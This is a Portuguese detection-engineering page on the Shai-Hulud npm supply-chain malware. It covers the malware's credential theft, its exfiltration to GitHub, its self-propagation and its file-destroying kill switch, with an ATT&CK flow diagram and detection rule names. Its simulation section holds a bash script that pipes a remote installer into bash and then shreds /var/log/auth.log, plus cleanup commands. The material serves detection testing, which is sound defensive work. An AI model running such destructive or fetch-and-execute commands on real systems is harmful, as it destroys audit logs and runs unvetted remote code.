Shai-Hulud: Ataque generalizado na cadeia de suprimentos do npm
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O GitLab divulgou uma intrusão generalizada na cadeia de suprimentos visando ecossistemas npm. A campanha introduz uma variante atualizada do malware Shai-Hulud através de scripts de pré-instalação maliciosos. Este payload coleta credenciais de nuvem e hospedagem de código, direciona dados para repositórios GitHub controlados pelos atacantes e se espalha ainda mais republicando pacotes trojanizados. Um disjuntor embutido pode apagar ou corromper arquivos do usuário se a infraestrutura do atacante for interrompida.
Investigação
A equipe de pesquisa de vulnerabilidades do GitLab rastreou a atividade até pacotes npm contaminados cujo package.json modificado faz referência a um carregador setup_bun.js. Este carregador instala o runtime Bun e aciona um payload bun_environment.js empacotado que coleta credenciais, executa o Trufflehog para descobrir segredos e faz upload dos resultados em um repositório público do GitHub. O malware também cria novos repositórios no GitHub como caixas de entrega e abusa de tokens npm roubados para republicar pacotes comprometidos. Se o acesso ao GitHub e npm for cortado, o payload procede para deletar ou sobrescrever arquivos do usuário.
Mitigação
O GitLab recomenda que as organizações inspecionem as dependências npm em busca de scripts de pré-instalação inesperados e validem a integridade dos pacotes publicados. As equipes devem remover carregadores setup_bun.js não autorizados, revogar tokens npm e GitHub expostos e vigiar repositórios suspeitos do GitHub marcados com “Sha1-Hulud: The Second Coming.” A proteção de endpoints deve ser configurada para bloquear scripts Node não confiáveis e para detectar as linhas de comando destrutivas documentadas no relatório.
Resposta
Quando uma atividade é detectada, isole o sistema afetado, revogue todas as credenciais comprometidas e elimine pacotes npm maliciosos de registros internos. Realize uma análise forense para confirmar ou descartar exfiltração de dados e destruição de arquivos. Emita novas credenciais para plataformas de nuvem e GitHub, e monitore continuamente o GitHub em busca de novos repositórios criados que correspondam à marca do atacante. Finalmente, reforce os pipelines CI/CD para proibir scripts de pré-instalação arbitrários.
mermaid graph TB %% Class definitions classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes – Attack Techniques tech_supply_chain[“<b>Técnica</b> – <b>T1195.001 Comprometimento da Cadeia de Suprimentos</b>: Pacotes npm maliciosos publicam um package.json modificado que adiciona um script de pré-instalação”] class tech_supply_chain technique tech_client_exec[“<b>Técnica</b> – <b>T1203 Exploração para Execução do Cliente</b>: npm executa o script de pré-instalação durante a instalação do pacote, executando o setup_bun.js malicioso”] class tech_client_exec technique tech_software_ext[“<b>Técnica</b> – <b>T1176 Extensões de Software</b>: O script de pré-instalação atua como uma extensão maliciosa para o pacote legítimo”] class tech_software_ext technique tech_obfuscate[“<b>Técnica</b> – <b>T1027 Arquivos ou Informações Ofuscados</b>: Payload grande e ofuscado bun_environment.js é baixado”] class tech_obfuscate technique tech_decode[“<b>Técnica</b> – <b>T1140 Desofuscar/Decodificar Arquivos ou Informações</b>: O payload é decodificado antes da execução”] class tech_decode technique tech_hidden_files[“<b>Técnica</b> – <b>T1564.001 Arquivos e Diretórios Ocultos</b>: Cria .truffler‑cache/ e subdiretórios”] class tech_hidden_files technique tech_path_excl[“<b>Técnica</b> – <b>T1564.012 Exclusões de Caminho de Arquivo</b>: Armazena binários maliciosos em caminhos ocultos para evitar detecção”] class tech_path_excl technique tech_cred_in_files[“<b>Técnica</b> – <b>T1552.001 Credenciais em Arquivos</b>: Examina .npmrc, variáveis de ambiente e arquivos de configuração em busca de tokens de nuvem e repositório”] class tech_cred_in_files technique tech_auto_collect[“<b>Técnica</b> – <b>T1119 Coleta Automática</b>: Executa Trufflehog para coletar segredos do sistema de arquivos”] class tech_auto_collect technique tech_exfil_repo[“<b>Técnica</b> – <b>T1567.001 Exfiltração para Repositório de Código</b>: Usa token do GitHub roubado para criar repositórios públicos e fazer upload de credenciais”] class tech_exfil_repo technique tech_destructive[“<b>Técnica</b> – <b>T1565 Manipulação de Dados</b>: Executa comandos destrutivos (del, cipher, shred) para deletar e sobrescrever dados do usuário”] class tech_destructive technique tech_impair[“<b>Técnica</b> – <b>T1562 Prejuízo das Defesas</b>: Interruptor de autodestruição desativa a recuperação ao destruir dados”] class tech_impair technique tech_propagate[“<b>Técnica</b> – <b>T1195.001 Propagação de Cadeia de Suprimentos</b>: Usa tokens npm roubados para injetar scripts de pré-instalação maliciosos em pacotes de vítima e republicá-los”] class tech_propagate technique %% Nodes – Files and Tools file_package_json[“<b>Arquivo</b>: package.json com script de pré-instalação malicioso”] class file_package_json file file_setup_bun[“<b>Arquivo</b>: setup_bun.js (script de pré-instalação)”] class file_setup_bun file file_bun_env[“<b>Arquivo</b>: bun_environment.js (payload ofuscado)”] class file_bun_env file file_trufflehog[“<b>Ferramenta</b>: Binário Trufflehog armazenado em .truffler‑cache”] class file_trufflehog tool file_hidden_dir[“<b>Arquivo</b>: Diretório oculto .truffler‑cache/”] class file_hidden_dir file file_github_repo[“<b>Arquivo</b>: Repositório público do GitHub criado para exfiltração”] class file_github_repo file %% Edges – Attack Flow tech_supply_chain u002du002d>|adiciona script de pré-instalação| file_package_json file_package_json u002du002d>|aciona durante a instalação do npm| tech_client_exec tech_client_exec u002du002d>|executa| file_setup_bun file_setup_bun u002du002d>|baixa| file_bun_env file_bun_env u002du002d>|é| tech_obfuscate tech_obfuscate u002du002d>|requer| tech_decode tech_decode u002du002d>|produz payload executável| tech_software_ext tech_software_ext u002du002d>|cria| file_hidden_dir file_hidden_dir u002du002d>|armazena| file_trufflehog file_trufflehog u002du002d>|usado para| tech_auto_collect tech_auto_collect u002du002d>|coleta credenciais| tech_cred_in_files tech_cred_in_files u002du002d>|fornece tokens para| tech_exfil_repo tech_exfil_repo u002du002d>|faz upload de dados para| file_github_repo tech_exfil_repo u002du002d>|se tokens perdidos aciona| tech_destructive tech_destructive u002du002d>|desativa recuperação via| tech_impair tech_impair u002du002d>|habilita| tech_propagate tech_propagate u002du002d>|injeta pré-instalação maliciosa em novos pacotes npm| tech_supply_chain %% Styling class tech_supply_chain,tech_client_exec,tech_software_ext,tech_obfuscate,tech_decode,tech_hidden_files,tech_path_excl,tech_cred_in_files,tech_auto_collect,tech_exfil_repo,tech_destructive,tech_impair,tech_propagate technique class file_package_json,file_setup_bun,file_bun_env,file_hidden_dir,file_github_repo file class file_trufflehog tool
Fluxo do Ataque
Detecções
Detecção de Instalação Maliciosa do Bun e Execução de Payload Destrutiva [Criação de Processo Linux]
Ver
Detectar Comandos Destrutivos do PowerShell e Prompt de Comando [Criação de Processo Windows]
Ver
Arquivo ou Pasta Suspeita com Ponto como Prefixo do Nome (através de file_event)
Ver
Arquivo Com Extensão Suspeita Baixado de Domínio Com TLD Incomum (via proxy)
Ver
Upload/Download Remoto de Arquivo via Ferramentas Padrão (via linha de comando)
Ver
Execução da Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Baseline deve ter sido aprovado.
Narrativa do Ataque & Comandos
O adversário ganhou uma posição no host Linux comprometido. Para estabelecer um runtime persistente capaz de executar payloads baseados em JavaScript, eles baixam e instalam o runtime Bun através de um one-liner que transmite o instalador diretamente parabash. Imediatamente após confirmar a presença do runtime, o atacante aciona um “interruptor de autodestruição” (simulado aqui por um temporizadosleep) que lança uma operação destrutivashred para deletar irreversivelmente um arquivo sensível (/var/log/auth.log).
Os passos são:
- Baixar & instalar Bun:
curl -fsSL https://bun.sh/install | bash - Aguarde brevemente (simulando o tempo do interruptor).
- Execute o shred destrutivo:
shred -uvz -n 1 /var/log/auth.log
Ambos os comandos geram eventos de criação de processo que correspondem exatamente às palavras-chave da regra Sigma.
Script de Teste de Regressão
#!/bin/bash
# -------------------------------------------------
# Simular comportamento “Bun install + shred” de Shai-Hulud
# -------------------------------------------------
# 1️⃣ Instalar Bun (comando exato necessário para detecção)
echo "[*] Instalando runtime Bun..."
curl -fsSL https://bun.sh/install | bash
# Breve pausa para emular tempo realista
sleep 5
# 2️⃣ Executar wipe destrutivo de arquivo (comando exato necessário)
TARGET_FILE="/var/log/auth.log"
if [[ -f "$TARGET_FILE" ]]; then
echo "[*] Shredding $TARGET_FILE ..."
shred -uvz -n 1 "$TARGET_FILE"
else
echo "[!] Arquivo alvo não encontrado; criando arquivo dummy para demonstração."
echo "dados fictícios" > "$TARGET_FILE"
shred -uvz -n 1 "$TARGET_FILE"
fi
echo "[*] Simulação completa."
Comandos de Limpeza
#!/bin/bash
# -------------------------------------------------
# Limpeza após a simulação do Bun/Shred
# -------------------------------------------------
# Remova quaisquer arquivos residuais do Bun (se instalados)
if command -v bun >/dev/null 2>&1; then
echo "[*] Removendo runtime Bun..."
rm -rf "$HOME/.bun"
rm -f /usr/local/bin/bun
fi
# Recrie o arquivo de log triturado (para estabilidade do sistema)
TARGET_FILE="/var/log/auth.log"
if [[ ! -f "$TARGET_FILE" ]]; then
echo "log de espaço reservado recriado" | sudo tee "$TARGET_FILE" >/dev/null
sudo chmod 600 "$TARGET_FILE"
fi
echo "[*] Limpeza completa."